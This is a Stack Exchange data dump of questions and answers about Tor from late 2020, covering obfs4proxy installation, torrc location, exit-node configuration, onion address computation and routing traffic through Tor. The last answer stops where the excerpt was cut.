  <row Id="21646" PostTypeId="1" CreationDate="2020-10-12T14:20:46.470" Score="1" ViewCount="255" Body="&lt;p&gt;first of all, thanks for reading my post!i am asking this question: to install obfs4proxy on a ubuntu mate armhf raspberry 4b, i tried some methods.&lt;/p&gt;&#xA;&lt;p&gt;the first one is to install from ubuntu package archive.i searched by obfs4proxy at packages.ubuntu.com and found its available at ubt focal（20.04）universe and here is my /etc/apt/sources.list&lt;/p&gt;&#xA;&lt;p&gt;deb &lt;a href=&quot;http://archive.ubuntu.com/ubuntu&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://archive.ubuntu.com/ubuntu&lt;/a&gt; focal main universe restricted multiverse&lt;/p&gt;&#xA;&lt;p&gt;deb &lt;a href=&quot;http://archive.ubuntu.com/ubuntu&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://archive.ubuntu.com/ubuntu&lt;/a&gt; focal-security main universe restricted multiverse&lt;/p&gt;&#xA;&lt;p&gt;deb &lt;a href=&quot;http://archive.ubuntu.com/ubuntu&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://archive.ubuntu.com/ubuntu&lt;/a&gt; focal-updates main universe restricted multiverse&lt;/p&gt;&#xA;&lt;p&gt;the questions is where i run apt search obfs4proxy i got no hint on whatever could be found there, and i noticed there were some igt hints when i tried to run sudo apt update, could it probably be that universe version of maintainance was ignored by some reason?&lt;/p&gt;&#xA;&lt;p&gt;the second method is to try to compile it myself when i find that proxy.golang.org block by isp&lt;/p&gt;&#xA;&lt;p&gt;so i will stil try the first method,can anyone tell me how i can search for package obfs4proxy or any ppa available?&lt;/p&gt;&#xA;" OwnerUserId="31052" LastActivityDate="2020-10-14T11:24:02.303" Title="obfs4proxy installation" Tags="|obfs4proxy|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21648" PostTypeId="2" ParentId="21645" CreationDate="2020-10-12T20:27:20.733" Score="0" Body="&lt;p&gt;The speed that videos load at depends on your internet bandwidth, the website's internet bandwidth/load, and the bandwidth, latency, and performance of the relays in your circuit. Yes it's safe to watch videos in the Tor Browser as long as you don't install extra extensions/software (such as Flash Player).&lt;/p&gt;&#xA;&lt;p&gt;If a video is loading slow, you can &lt;a href=&quot;https://support.torproject.org/tbb/tbb-29/#new-tor-circuit-for-this-site&quot; rel=&quot;nofollow noreferrer&quot;&gt;try using a new circuit&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-10-12T20:27:20.733" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21649" PostTypeId="1" CreationDate="2020-10-12T20:54:33.053" Score="0" ViewCount="97" Body="&lt;p&gt;I couldn't find torcc or torrc, at anywhere. I use a Catalina Mac version 10.15.7, but i can't find anyone that file.&#xA;Someone could help me?&lt;/p&gt;&#xA;" OwnerUserId="31054" LastEditorUserId="88" LastEditDate="2020-10-24T14:52:03.627" LastActivityDate="2020-10-24T14:52:03.627" Title="Someone put torrc other one torcc. Why?" Tags="|configuration|mac|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21653" PostTypeId="1" CreationDate="2020-10-14T12:17:26.430" Score="1" ViewCount="48" Body="&lt;p&gt;On my computer, Tor Browser automatically updated itself. After the update, I am presented with this message whenever I try to access a website:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GLzEj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GLzEj.png&quot; alt=&quot;Tor Browser message&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I could restart the browser, but I currently have some cookies I want to keep. If I choose restart the browser by clicking on the blue button, will the cookies be preserved, or will they be lost?&lt;/p&gt;&#xA;" OwnerUserId="27182" LastActivityDate="2020-10-14T13:18:06.830" Title="Will cookies be preserved when restarting the Tor Browser after an automatic update?" Tags="|tor-browser-bundle|cookies|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21655" PostTypeId="2" ParentId="21649" CreationDate="2020-10-14T13:26:18.147" Score="1" Body="&lt;p&gt;On Mac OS, the &lt;code&gt;torrc&lt;/code&gt; is in the Tor Browser Data directory at &lt;code&gt;~/Library/Application Support/TorBrowser-Data/Tor&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Note the Library folder is hidden on newer versions of macOS. To navigate to this folder in Finder, select &amp;quot;Go to Folder...&amp;quot; in the &amp;quot;Go&amp;quot; menu.&lt;/li&gt;&#xA;&lt;li&gt;Then type &lt;code&gt;~/Library/Application Support/&lt;/code&gt; in the window and click Go.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="31040" LastEditorUserId="88" LastEditDate="2020-10-24T08:18:35.387" LastActivityDate="2020-10-24T08:18:35.387" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21657" PostTypeId="1" CreationDate="2020-10-16T14:10:12.477" Score="0" ViewCount="423" Body="&lt;p&gt;I created an account on Pinterest Using Tor Browser. Then I uploaded an image from my phone on Pinterest(Tor Browser), would anyone know it was me who uploaded the image?&lt;/p&gt;&#xA;" OwnerUserId="31077" LastActivityDate="2021-07-13T21:08:10.757" Title="If I upload an image using Tor on Pinterest, would anyone know it was I?" Tags="|anonymity|security|help|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21658" PostTypeId="2" ParentId="21657" CreationDate="2020-10-16T19:17:20.840" Score="1" Body="&lt;p&gt;Possibly. Does the image have identifying metadata? For example, images will often store the type of camera, GPS location, date/time, and more as metadata. Pinterest themselves may strip some of this metadata off before sending the files to other users' devices (I'm not sure if they do or not), but Pinterest themselves would be able to view this metadata.&lt;/p&gt;&#xA;&lt;p&gt;The Tor Browser will not leak information, but any information you supply (such as email addresses when making the account, metadata in images that you upload, etc) may be used to identify you if you are not careful.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-10-16T19:17:20.840" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21662" PostTypeId="1" CreationDate="2020-10-18T18:01:56.690" Score="0" ViewCount="177" Body="&lt;p&gt;I'm looking to use proxychain to make a chain connection LOCAL -&amp;gt; Tor -&amp;gt; Residential Proxy -&amp;gt; My VPS.&lt;/p&gt;&#xA;&lt;p&gt;Could you please give me an advice how to configure the iptable to allow proxychain using tor.&lt;/p&gt;&#xA;&lt;p&gt;Thanks at advance.&lt;/p&gt;&#xA;" OwnerUserId="31089" LastActivityDate="2020-10-18T18:01:56.690" Title="using proxy after tor" Tags="|tails|help|proxy|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21663" PostTypeId="1" CreationDate="2020-10-18T21:34:25.867" Score="0" ViewCount="797" Body="&lt;p&gt;Tor Log says:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[WARN] Not using bridge at [scrubbed]: it is in ExcludeNodes.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[NOTICE] Opened Socks listener on 127.0.0.1:9150&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;It minds that my tor, conexion/router have been hacked?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;To put you more in situation...&#xA;I've been victim of cyberbulling from 4 years ago. I've been tracked multiple times, just as my internet traffic.&lt;/p&gt;&#xA;&lt;p&gt;Thing that make me have suspect:&lt;/p&gt;&#xA;&lt;p&gt;Often &lt;em&gt;&lt;strong&gt;TorBrowser&lt;/strong&gt;&lt;/em&gt; does rare things, I usually re-install it while have some suspicion.&lt;/p&gt;&#xA;&lt;p&gt;Often cannot connect through &lt;em&gt;&lt;strong&gt;obs4proxy&lt;/strong&gt;&lt;/em&gt;, or the bridge shows  a codified string instead of the ip number.&lt;/p&gt;&#xA;&lt;p&gt;Or the nodes repeat too much on certain countries and/or have repeated countries.&lt;/p&gt;&#xA;&lt;p&gt;A thing that doesn't seems to be good is that sometimes when I connect to &lt;em&gt;&lt;strong&gt;youtube&lt;/strong&gt;&lt;/em&gt; with tor, it shows in the YT icon the acronym of a country that I have excluded in nodes config, but in the circuit shows a different country.&lt;/p&gt;&#xA;&lt;p&gt;Can help me to throw some light?&#xA;(Im using Debian Buster)&lt;/p&gt;&#xA;&lt;p&gt;Thankyou&lt;/p&gt;&#xA;" OwnerUserId="31091" LastEditorUserId="31091" LastEditDate="2020-10-20T23:21:48.913" LastActivityDate="2022-03-15T06:00:00.013" Title="tor log shows ignoring ExcludeNodes?" Tags="|tor-browser-bundle|security|guard-node|obfs4|log|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21665" PostTypeId="1" CreationDate="2020-10-20T08:36:04.073" Score="1" ViewCount="90" Body="&lt;p&gt;Running the following below, but unable to run the below tor&lt;/p&gt;&#xA;&lt;p&gt;fedora 32&#xA;tor-browser-linux64-10.0.1_en-US.tar.xz&lt;/p&gt;&#xA;&lt;p&gt;Have verify PGP signatures &amp;amp; extracted tar, checked for file execution.&lt;/p&gt;&#xA;&lt;p&gt;drwx------.  9 fischer fischer 4.0K Jan  1  2000 Browser&lt;/p&gt;&#xA;&lt;p&gt;-rwx------.  1 fischer fischer 1.8K Oct 20 18:21 start-tor-browser.desktop&lt;/p&gt;&#xA;&lt;p&gt;-rw-rw-r--.  1 fischer fischer  801 Oct 18 13:55 tor-browser-linux64-10.0.1_en-US.tar.xz.asc&lt;/p&gt;&#xA;&lt;p&gt;-rw-rw-r--.  1 fischer fischer 5.0K Oct 18 13:44 tor.keyring&lt;/p&gt;&#xA;&lt;p&gt;But still unable to start.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="31099" LastActivityDate="2020-10-20T08:36:04.073" Title="Tor on Fedora 32, unable to run" Tags="|fedora|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21666" PostTypeId="2" ParentId="17071" CreationDate="2020-10-20T11:01:08.143" Score="1" Body="&lt;p&gt;So it seems the public key is only 32 bytes long, but in your example it is 64 bytes long.&#xA;I coded the following script, given the full public key of 64 bytes and got the sample address you put. So take it as a reference!&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;from base64 import b32encode&#xA;from hashlib import sha3_256&#xA;&#xA;def main():&#xA;    # Expected result: abcgmgkvg6xtrywgplbnr5wbh6ky67tdihigbytsp7fhxiufoiv6w3yd.onion&#xA;    hex_string = &amp;quot;3d3d 2065 6432 3535 3139 7631 2d70 7562 6c69 633a 2074 7970 6530 203d 3d00 0000&amp;quot; + &amp;quot; 0044 6619 5537 af38 e2c6 7ac2 d8f6 c13f 958f 7e63 41d0 60e2 727f ca7b a285 722b&amp;quot;&#xA;    pub = bytearray.fromhex(hex_string)[32:]&#xA;    version = b&amp;quot;\x03&amp;quot;&#xA;    checksum = sha3_256(bytes(&amp;quot;.onion checksum&amp;quot;, &amp;quot;utf-8&amp;quot;) + pub + version).digest()[:2]&#xA;    address = b32encode(pub + checksum + version).decode().lower()&#xA;    print(address + &amp;quot;.onion&amp;quot;)&#xA;&#xA;if __name__ == &amp;quot;__main__&amp;quot;:&#xA;    main()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31102" LastEditorUserId="31102" LastEditDate="2020-10-20T11:12:48.183" LastActivityDate="2020-10-20T11:12:48.183" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21667" PostTypeId="1" CreationDate="2020-10-20T15:34:19.833" Score="0" ViewCount="130" Body="&lt;p&gt;I can only connect to HTTPS proxies using FF's proxy feature.&#xA;When i put in a socks4/5 proxy in FF, it doesn't connect to the proxy. Can anybody confirm this behaviour ?&lt;/p&gt;&#xA;&lt;p&gt;My setup:&lt;/p&gt;&#xA;&lt;p&gt;proxychains v4.14 conf: socks5 enabled,&#xA;vidalia standalone v0.2.21,&#xA;tor v0.4.4.5-1~bpo10+1_amd64.deb + tor-geoipdb_0.4.4.5-1~bpo10+1_all.deb,&#xA;FF-ESR v78.3&lt;/p&gt;&#xA;" OwnerUserId="31103" LastActivityDate="2020-10-20T15:34:19.833" Title="Why doesn't tor connect to Socks4/5 proxies?" Tags="|firefox|socks|vidalia|https|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21668" PostTypeId="1" CreationDate="2020-10-20T16:34:23.690" Score="-1" ViewCount="118" Body="&lt;p&gt;All sites visited using the TOR browser bundle correctly identify the country from where I'm accessing the internet. Why is that and how can I prevent this?&lt;/p&gt;&#xA;" OwnerUserId="28784" LastActivityDate="2020-10-21T00:49:06.857" Title="Why does the TOR browser bundle disclose my location" Tags="|tor-browser-bundle|anonymity|deanonymization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21669" PostTypeId="2" ParentId="21668" CreationDate="2020-10-21T00:49:06.857" Score="0" Body="&lt;p&gt;When you use Tor, the system randomly selects an exit node. Given that some countries have more exit nodes than others, there are varying odds that your session will choose an exit node from your country of origin. If this is a concern you can reconnect to the network and get assigned a new random exit node.&lt;/p&gt;&#xA;" OwnerUserId="610" LastActivityDate="2020-10-21T00:49:06.857" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21670" PostTypeId="2" ParentId="21663" CreationDate="2020-10-21T01:43:49.557" Score="0" Body="&lt;p&gt;There's nothing in your post that indicates any kind of attack or malicious activity. I would recommend using only the default Tor Browser settings, and you shouldn't need to set the &lt;code&gt;ExcludeNodes&lt;/code&gt; option.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;[WARN] Not using bridge at [scrubbed]: it is in ExcludeNodes.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;In this case, you have told Tor to use a bridge, but you have also told Tor not to use that bridge with your &lt;code&gt;ExcludeNodes&lt;/code&gt; setting. This is a warning because you've told Tor to do two conflicting things.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Often cannot connect through obs4proxy, or the bridge shows a codified string instead of the ip number.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I'm not sure what you mean by this, but you may be looking at the guard's &lt;a href=&quot;https://en.wikipedia.org/wiki/IPv6_address&quot; rel=&quot;nofollow noreferrer&quot;&gt;IPv6 address&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Or the nodes repeat too much on certain countries and/or have repeated countries.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Some countries have more relays than others. It's normal that some countries appear more often than others, and it's also common to see the same country appear twice in a circuit.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;A thing that doesn't seems to be good is that sometimes when I connect to youtube with tor, it shows in the YT icon the acronym of a country that I have excluded in nodes config, but in the circuit shows a different country.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Companies often buy and sell IP addresses, and other people try to maintain mappings of IP addresses to physical countries. Sometimes these mappings become out of date, and Tor might only update their mapping once or twice a year. This means that the &lt;code&gt;ExcludeNodes&lt;/code&gt; options isn't always very accurate, and Youtube may be using a different mapping than Tor. The &lt;code&gt;ExcludeNodes&lt;/code&gt; option is a best-guess, not a guarantee.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-10-21T01:43:49.557" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21671" PostTypeId="1" CreationDate="2020-10-21T04:03:24.470" Score="1" ViewCount="164" Body="&lt;p&gt;&lt;strong&gt;I have&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes {rs},{kr},{sy},{cn}&#xA;StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;set in my &lt;code&gt;./Browser/TorBrowser/Data/Tor/torrc&lt;/code&gt; file. It respects these ExitNodes on every website I've tried:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qnS7C.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qnS7C.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;except this website where it switches between nodes not on my list:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IXbg3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IXbg3.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;It used to work fine on this website. I recently updated to Tor Browser 10.0.2. I tried on Stander and Safer, but haven't made any other configuration changes.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="31105" LastActivityDate="2020-10-21T04:03:24.470" Title="ExitNodes not respected on particular website" Tags="|exit-relays|location|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21672" PostTypeId="1" CreationDate="2020-10-23T13:29:21.967" Score="0" ViewCount="128" Body="&lt;p&gt;.. and then they gradually vanish over the next 4 weeks!&lt;/p&gt;&#xA;&lt;p&gt;Can anyone tell me why this sawtooth pattern has appeared in the Tor relay metrics since August?  On the 2nd August, 2nd Sep and 2nd Oct, about 500 new relays have appeared; the total number of relays then slowly declines during the rest of each month to the original (1st of the month) level.  There are also downticks in the relay totals on the 1st of the month.  Presumably this is some bug in the statistics gathering?  Or have hackers found a new way to distract us?&lt;/p&gt;&#xA;" OwnerUserId="30858" LastActivityDate="2021-12-22T04:06:25.567" Title="500 new relays at the beginning of each month?" Tags="|relays|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21673" PostTypeId="1" AcceptedAnswerId="21678" CreationDate="2020-10-23T17:04:36.880" Score="4" ViewCount="309" Body="&lt;p&gt;I've read the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/rend-spec-v3.txt&quot; rel=&quot;noreferrer&quot;&gt;rend-spec-v3.txt document&lt;/a&gt; which is supposed to be the specification for the v3 hidden service protocol. The document makes several references to a key blinding function that takes in an ed25519 key pair/public key and a nonce and gives a new key pair/public key which is used to determine the hidden service's position in the hash ring. In Appendix A1 however, it just describes the scheme but doesn't define a specific function. I know for certain the protocol has been implemented because we've been able to use the new 56 character addresses for a while now. So, is there a specification or document I'm missing? Is the current implementation a placeholder? How exactly does the current protocol handle addresses and find where the descriptors are stored?&lt;/p&gt;&#xA;&lt;p&gt;P.S. The specification also says there's a new flag &amp;quot;HSDirV3&amp;quot; but it's nowhere to be found in the consensus. Has that flag been discarded?&lt;/p&gt;&#xA;" OwnerUserId="30253" LastActivityDate="2020-10-27T12:50:35.747" Title="What is the key blinding function used in the hidden service protocol v3?" Tags="|onion-services|onion-routing|encryption|consensus|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21675" PostTypeId="2" ParentId="21672" CreationDate="2020-10-25T16:32:04.357" Score="0" Body="&lt;p&gt;If I were to guess I would say this is AccountingMax and its counterparts at work.&lt;/p&gt;&#xA;&lt;p&gt;Many VPS servers (where some individuals run tor relays) limit transfer per accounting period (usually month). This is where AccountingMax comes handy - once the relay hits the limit specified there - it hibernates for the remaining time in accounting period.&lt;/p&gt;&#xA;&lt;p&gt;Assuming many relays need to do the limitation and still follow the guidance not to limit the speed - their number will gradually decrease over accounting period. Which usually starts at the beginning of the month and lasts till the end of it.&lt;/p&gt;&#xA;" OwnerUserId="20437" LastActivityDate="2020-10-25T16:32:04.357" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21676" PostTypeId="1" CreationDate="2020-10-27T05:45:31.797" Score="0" ViewCount="112" Body="&lt;p&gt;I want apps like Firefox and Chrome to have their Internet traffic routed through TOR, such that Firefox and Chrome would not know they are going through TOR. How would I configure Linux to make that happen?&#xA;I do not want to use tor browser, in fact I can't as I use ARM Linux.&lt;/p&gt;&#xA;" OwnerUserId="31122" LastActivityDate="2022-04-03T11:07:35.690" Title="TOR routing on same machine as browser" Tags="|linux|proxy|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21677" PostTypeId="1" CreationDate="2020-10-27T08:33:03.130" Score="0" ViewCount="321" Body="&lt;p&gt;I'm trying to use tor as a proxy for a few HTTP requests as described in &lt;a href=&quot;https://www.khalidalnajjar.com/stealthy-crawling-using-scrapy-tor-and-privoxy/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Stealthy Crawling using Scrapy, Tor and Privoxy&lt;/a&gt;, but instead of privoxy, I'm using tor's built-in HTTP tunnel. This is my tor config:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ControlPort 9051&#xA;HTTPTunnelPort 8118&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It works locally on my macOS. I install tor as &lt;code&gt;brew install tor&lt;/code&gt; and then I run it in one terminal with the configuration above (as &lt;code&gt;tor -f ./tor.cfg&lt;/code&gt;). Then I run my Python program in other terminal, and it's able to connect and make requests over tor. It doesn't work on the server though. What I'm doing on the server:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get update&#xA;sudo apt-get install tor tor-geoipdb&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then I add logging so I could debug the problems:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;touch ./tor.log&#xA;chmod 777 ./tor.log&#xA;echo &amp;quot;Log info file $(pwd)/tor.log&amp;quot; &amp;gt;&amp;gt; ./tor.cfg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Using &lt;code&gt;info&lt;/code&gt; level. I tried &lt;code&gt;debug&lt;/code&gt;, but that didn't really uncover anything helpful to me.&lt;/p&gt;&#xA;&lt;p&gt;Then I copy the config to the global location so the backend service uses it:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo cp ./tor.cfg /etc/tor/torrc&#xA;sudo service tor start&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here I wait for the tor to start with the following Python script:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import time&#xA;from pathlib import Path&#xA;&#xA;while 'Bootstrapped 100%' not in Path('tor.log').read_text():&#xA;    time.sleep(1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It reads the &lt;code&gt;tor.log&lt;/code&gt; file and waits until there's &lt;code&gt;Bootstrapped 100%&lt;/code&gt; as an indication of the fact tor should be ready to accept requests. When this script ends, I assume tor is ready. I run my Python program which does the HTTP requests over the HTTP tunnel. With sufficient logging level, I get a few&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[stem] INFO: Error while receiving a control message (SocketClosed): empty socket content&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and then it all fails with an exception&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;stem.ProtocolError: SIGNAL response contained unrecognized status code: 514&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Could someone please explain me what could be wrong or help me to debug this? I don't even know where I should look. Attaching the &lt;code&gt;tor.log&lt;/code&gt; just in case someone could understand what's going on.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/torproject/stem/files/5440569/tor.log&quot; rel=&quot;nofollow noreferrer&quot;&gt;tor.log&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31125" LastEditorUserId="31125" LastEditDate="2020-10-27T08:38:28.697" LastActivityDate="2020-10-27T08:38:28.697" Title="SIGNAL response contained unrecognized status code: 514" Tags="|ubuntu|client|stem|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21678" PostTypeId="2" ParentId="21673" CreationDate="2020-10-27T12:50:35.747" Score="2" Body="&lt;p&gt;I've messaged one of the tor developpers and he's been kind enough to answer. In the rend-spec-v3.txt document, the function is actually specified in appendix A2. And the &amp;quot;HSDirV3&amp;quot; flag never existed. It'll be removed from the specification.&lt;/p&gt;&#xA;" OwnerUserId="31126" LastActivityDate="2020-10-27T12:50:35.747" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21680" PostTypeId="1" CreationDate="2020-10-27T18:31:43.477" Score="0" ViewCount="506" Body="&lt;p&gt;So after updating Tor it uses about 50-60% of my cpu and crashes after a few minutes when I have 3 or 4 tabs open. should I just reinstall it or what should I do?&lt;/p&gt;&#xA;" OwnerUserId="31128" LastActivityDate="2022-03-22T02:02:00.297" Title="Tor keeps shutting down after a few minutes. Help" Tags="|windows|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21681" PostTypeId="2" ParentId="21680" CreationDate="2020-10-27T22:08:42.790" Score="0" Body="&lt;p&gt;I would suggest reinstalling but second you should look at the specs on your computer. You may also want to check and see if the tabs you are opening are trustworthy because if you have JavaScript enabled on a site which takes advantage of your personal computational power it may start to crash your window.&lt;/p&gt;&#xA;&lt;p&gt;Please let me know more detail about your hardware if those does not work.&lt;/p&gt;&#xA;" OwnerUserId="31129" LastActivityDate="2020-10-27T22:08:42.790" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21687" PostTypeId="2" ParentId="1232" CreationDate="2020-11-02T18:04:51.780" Score="0" Body="&lt;p&gt;What are you guys thinking about that solution:&#xA;&lt;a href=&quot;https://tor.stackexchange.com/questions/21686/vpn-over-tor-is-this-an-easy-way-to-do-it&quot;&gt;VPN over Tor - is this an easy way to do it?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Essenitally what you are doing is changing the .ovpn VPN config file and the kernel routing table&#xA;to:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;proto tcp&#xA;#rest of the file&#xA;socks-proxy 127.0.0.1 9050&#xA;route 95.216.33.58 255.255.255.255 192.168.3.1&#xA;# using tor as proxy and using the non-VPN standard gateway &#xA;to connect to the Entry/Guard node&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The routing table should look like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;destination       gateway          Genmask         Flags Metric Ref    Use   Iface&#xA;0.0.0.0         172.18.10.249   0.0.0.0         UG    0      0        0   tun0&#xA;116.202.238.106 192.168.3.1     255.255.255.255 UGH   0      0        0   wlan0&#xA;127.0.0.1       192.168.3.1     255.255.255.255 UGH   0      0        0   wlan0&#xA;172.18.10.1     172.18.10.249   255.255.255.255 UGH   0      0        0   tun0&#xA;172.18.10.249   0.0.0.0         255.255.255.255 UH    0      0        0   tun0&#xA;192.168.3.0     0.0.0.0         255.255.255.0   U     600    0        0   wlan0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The downside of this solution is obviusly that you need to change the ovpn cfg file each time your entry node changes.&#xA;You could also change the entry node to a fixed one but that is not recommended. You would have to change it back after a while.&lt;/p&gt;&#xA;" OwnerUserId="31155" LastActivityDate="2020-11-02T18:04:51.780" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21689" PostTypeId="1" CreationDate="2020-11-03T19:50:54.143" Score="1" ViewCount="98" Body="&lt;p&gt;I understand the concept of a malicious Tor node, but am confused on a few things.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Who makes malicious Tor nodes? I assume non-Tor friendly governments and non-government threat actors.&lt;/li&gt;&#xA;&lt;li&gt;Why would they do this, and how does it benefit them?&lt;/li&gt;&#xA;&lt;li&gt;What makes a Tor node malicious and what are some of the bad things that can happen from ending up with one in your circuit?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="31161" LastActivityDate="2020-11-03T19:50:54.143" Title="Who creates malicious Tor nodes, why, and how to they work?" Tags="|circuit|node|vulnerability|threats|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21690" PostTypeId="2" ParentId="21676" CreationDate="2020-11-03T22:15:18.410" Score="0" Body="&lt;p&gt;Hm, well there are a few methods I have heard of:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you have Proxychains installed on your distro, then messing with the .conf file for your proxy settings can allow your whole machines traffic to run through Tor (I would explain how to do it if I could but I've never done it myself) For this I think using your package manager should work for the install.&lt;/li&gt;&#xA;&lt;li&gt;Nipe, which is a tool that also routes your machine traffic through Tor. Use &lt;code&gt;git clone https://github.com/GouveaHeitor/nipe&lt;/code&gt; will install it.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;If I could exemplify the difference between them I would but I have no personal experience with these tools.&#xA;&lt;a href=&quot;https://github.com/GouveaHeitor/nipe&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/GouveaHeitor/nipe&lt;/a&gt;&lt;br /&gt;&#xA;&lt;a href=&quot;https://linuxhint.com/proxychains-tutorial/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://linuxhint.com/proxychains-tutorial/&lt;/a&gt;&#xA;One potential issue is that these do not just Torify your browser traffic, but the whole machines. I don't know about you but this could either be a bonus or 